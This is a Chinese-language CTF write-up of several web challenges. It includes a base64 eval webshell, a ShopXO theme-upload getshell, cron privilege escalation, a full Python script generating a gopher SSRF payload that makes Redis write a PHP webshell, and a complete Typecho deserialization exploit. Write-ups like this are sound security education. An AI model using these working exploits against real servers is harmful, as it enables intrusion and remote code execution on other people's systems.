又留了两道node。。。。。留着做个综合吧。。。

CheckIN

打开靶机即得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

接受get或post形式传入的Ginkgo,并base64解码执行

解题

那么构造一句话,由于这里是eval执行,相当于自动加php标签,所以只要构造eval($_POST['a']); => ZXZhbCgkX1BPU1RbJ2EnXSk7即可

用蚁剑连上,给了个readflag的脚本,php版本是7.3,考虑php7-gc-bypass

找个有上传权限的目录上传bypass脚本,红框内是执行的命令

tmp下上传

接着包含该文件即可bypass

把之前的命令改为执行readflag脚本即可

cve版签到

给了提示是cve-2020-7066,搜集下信息

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

参考:https://bugs.php.net/bug.php?id=79329

即get_headers()函数在一个空字节后会被无提示地截断

解题

打开靶机提示点击view ctfhub,跳转后url如下

参考文章中示例构造http://127.0.0.1\0www.ctfhub.com

由于是url传入,改为%00替代空字节

提示了必须以123结尾,改一下即可

老八小超市儿

打开靶机是shopxo

百度下有没有已知的漏洞

找到一个后台getshell,参考文章:http://www.nctry.com/1660.html

解题

首先用默认账号密码登录后台,admin,shopxo

到应用商店下载默认主题

往压缩包里加入shell

找到主题安装位置上传加入shell之后的压缩包

访问/public/static/index/default/oneword.php即可getshell

用蚁剑连,根目录flag下提示在root

但root设置了权限不可读,注意到根目录下还有一个auto.sh,查看

每隔一分钟执行一次makeflaghint.py,看下这个脚本

获取当前时间并写入flag.hint,那么我们利用这个脚本的root权限读出root下的flag并写入到flag.hint即可

得到flag

EZ三剑客-EzWeb

打开靶机只有一个提交框

源码处发现注释

提交访问返回类似ifconfig的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eth0      Link encap:Ethernet  HWaddr 02:42:ad:1f:54:0a  
inet addr:173.31.84.10 Bcast:173.31.84.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:34 errors:0 dropped:0 overruns:0 frame:0
TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6058 (6.0 KB) TX bytes:5729 (5.7 KB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

得到内网ip,访问看看

会回显首页内容

看看内网里还有没有其他页面,burp爆破一下

扫到以下主机存活

依次访问看看,其他没啥发现,访问11的时候提示扫它的端口

太容易429了。。直接看的wp跑了一下6300-6400,发现开放了6379

6379是redis的默认端口号

考点:Redis配合gopher协议进行SSRF

未授权访问Redis服务器

参考文章

直接拿的脚本,php代码执行命令结果写入shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="173.31.84.11"#探测主机
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

生成gopher://173.31.84.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

在输入框内输入提交,然而一直转。。。了好久,以为靶机问题中间还重启了下靶机,然后等不了手动停了,访问http://173.31.84.11/shell.php已经有了flag,嗯。。。神奇

EZ三剑客-EzTypecho

题目给了源码,打开靶机是Typecho博客的安装程序但不让安装

在给出源码的changelog.txt里我们可以看到源码版本

百度下发现老版本有个install.php处反序列化漏洞。

参考文章:https://blog.csdn.net/weixin_44005410/article/details/90385856

解题

直接拿了参考文章师傅的poc生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$CMD = 'system("cat /flag")';

class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';

private $_type;
private $_items;

public function __construct() {
//$this->_type = $this::RSS2;

$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}

class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}

$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

然后按照文章中说的post传入payload即可,要注意一下保证referer是本站